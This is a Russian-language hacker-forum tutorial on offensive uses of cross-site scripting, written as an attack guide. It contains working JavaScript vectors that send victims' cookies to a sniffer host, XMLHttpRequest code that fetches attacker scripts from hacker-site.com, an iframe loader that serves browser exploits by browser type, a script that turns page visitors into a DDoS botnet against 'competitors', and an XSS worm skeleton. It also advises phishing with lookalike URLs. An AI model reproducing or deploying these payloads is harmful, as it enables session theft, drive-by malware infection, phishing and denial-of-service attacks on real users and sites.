Интро
Статья уже давно готовилась мной, ее предтече стало
ВОТ ЭТО голосование, в котором многие заявили что xss это уязвиость вчеращнего дня, сейчас я попытаюсь опровергнуть это утверждение Основная масса людей считают что xss может использоваться только для кражи cookies, либо исключительно ради эстетического удовольствия лицезрения красивых окошек с различными надписями))
В этой статье я не буду рассматривать сложные xss вектора и не буду расписывать различные способы обхода фильтрации, различные формы построения вектора, вложенные скрипты- обо всем этом можно почитать совершив поиск по форуму
План
Говорить будем по следующему плану, постораюсь осветить все хитрости cross site scripting
1)Кража куков
2)Фейк\Дефейсы
3)Троянизация удаленного юзера
4)ДДос
5)xss черви
6)Менее используемые методы
Мэйн
1
Итак самое распространенный и самое юзаемый вид xss атак:
Интеграция xss вектора( читай яваскрипт кода ), который выполняясь в браузере клиента отсылает куки на снифер, далее происходит подмена авторизационных данных, ну а дальше Садом и Гомора на любой вкус)) (читай - делай что хочешь)
Напомню самые простые конструкции xss векторов приминимых в любом браузере
Код:
<script>document.location="SNIFFER"+document.cookie</script>
<script>img=new Image();img.src="SNIFFER"+document.cookie</script>
2
Некотрые просто уверены, что кроме шутливого дефейса ничего сделать нельзя Что ж иногда даже в таком дефейсе есть некий шарм, например деф сделаный мной на каком то кинемотографическом портале Вектор можно посмотреть здесь:
PHP код:
http://c0nstantine.jino-net.ru/xss.txt
Кому то может показаться забавным, но вот поддельная новость на сайти Файненшанал таймс ( xss там есть ), это уже будет не очень смешно
С другой строны фейк метод позволяет получить вожделенный пароль не очень опытного пользователя. Чаще всего юзается такой способ: пользователь редиректится на фейковую страничку, предворительно подготовленную, с схожим с основным ресурсом урлом (например ranbler). С другой стороны, даже в известном журнале Хацкер, упоминали о возможной подмене адресной строки в браузере по средствам нами любимого Яваскрипта, что заметно улучшает внешний вид фейка(http://www.securitylab.ru/vulnerability/291585.php)))
Так же можно действовать методом связаных xss веторов, вообщем действуйте по обстоятельствам
С другой стороны можно использовать обьект яваскрипт - XMLHTTPrequeset, в таком случае работает php снифер и сформированый xss вектор, который с поомощью XMLHTTPrequeset передает интересующую нас информацию об удаленном пользователе:
Код:
function HTTPRequest (url)
{
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("GET", url, true);
req.send(null);
} else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("GET", url, true);
req.send();
}
}
return (req.responseText);
}
var XSSCode = HTTPRequest ("http://hacker-site.com/xss.php");
3
Пожалуй наиболее опасный способ использования xss: Троянизация производится посредством использования эксплойтов для популярных браузеров. Чтобы убить сразу двух зайцев, используем уже приевшийся Яваскрипт)). А именно navigator.appNAME.
Составляем приблизительно следующий вектор:
Код:
<script language="JavaScript">
if(navigator.appName == 'Браузер1')document.write('<iframe src="сплойт для бразуера1">');
if(navigator.appName == 'Браузер2')document.write('<iframe src="сплойт для бразуера2">');
if(navigator.appName == 'Браузер3')document.write('<iframe src="сплойт для бразуера3">');
</script>
можно юзать какие-то более изысканные конструкции, но, имхо, так вполне функционально, понятно что этот вектор слишком грамоздкий чтобы его интегрировать в тело документа напрямую: создаем файлик blabla.js с данным кодом и далее используем конструкцию:
PHP код:
<script src="http://oursite/blabla.js"></script>
Если речь идет о работе только с одним видом браузера, то можно использовать облегченную конструкцию
PHP код:
<iframe src="сплойт для браузера"></script>
4
ДДос(мемберы МОА и выше не читают этот раздел=)))
Сразу надо оговориться, что для использования такого типа ДДоса и получения "неформального" ботнета, страничка с интегрированым кодом должна быть достаточно посещаемой =)
Используем тот же метод что и во втором пункте
Код:
<script language="javascript">
var req;
var targets = new Array("http://конкурент1","http://конкурент2");// Создаем массив, куда помещаем будущих неудачников
function SendHTTP(url) {
req = false;
if (window.XMLHttpRequest) { // не ИЕ
req = new XMLHttpRequest();
} else if (window.ActiveXObject) { // ИЕ
req = new ActiveXObject("Microsoft.XMLHTTP");
}
if (req) {
req.open("GET", url, true);
req.send();
}
}
function terror() {
for (i=0;i<targets.length;i++) {
SendHTTP(targets[i]);
}
}
</script>
Так же создаем файлик с данным кодом и инжектим вектор с помощью
PHP код:
<script src="http://oursite.ru/zloy.js"></script>
5
xss черви очень любопытный вид xss атаки, все же требует использования активных xss: перманентное размещение на сервере и отсутствие необходимости рекламить страничку с интегрированым кодом, а ваш заикссесеный профиль или тему будут просматривать гораздо чаще, чем сформированый и разосланый линк(хотя тоже можно юзать). Естественно каждый попавший в заиксесенную ловушку выполнит в браузере злонамеренный код, фокус червя в том, что он вдобавок ко всему может сам себя постить на форуме или в блоге, снова
используем XMLHttpRequest.
Код:
function HTTPRequest (url)
{
if (window.XMLHttpRequest) { // не ИЕ
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("GET", url, true);
вы
req.send(null);
} else if (window.ActiveXObject) { //ИЕ
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("GET", url, true);
req.send();
}
}
}
При этом ничто не мешает совместит DDos атаки и код xss червя...
Внедряем в код xss вектора скрипт для отправки сообщений и вот пошла рассылка спама. Вообщем делайте что в голову всбредет и до чего руки дотянутся. Благо все выложенные мной скрипты публичны и скомбинировать их, создать цепочки выполняемых кодов врят ли составит труда.
6
Напоследок несколько слов о наименее используемых видах атак, вкратце.
Раскрутка заказного сайта: соответсвенно реализуеться так же как и ДДос
Подмена личной информции пользователя: в теории то возможно, сейчас пытаюсь понять реализацию, как только разберусь- допишу
Энд
В качестве финального слова скажу, что использования активных xss более уместно при выполнение какого то из этих пунктов.
Спасибо за внимание
Снял видео по теме, можно посмотреть
PHP код:
http://filefront.jino-net.ru/xss.rar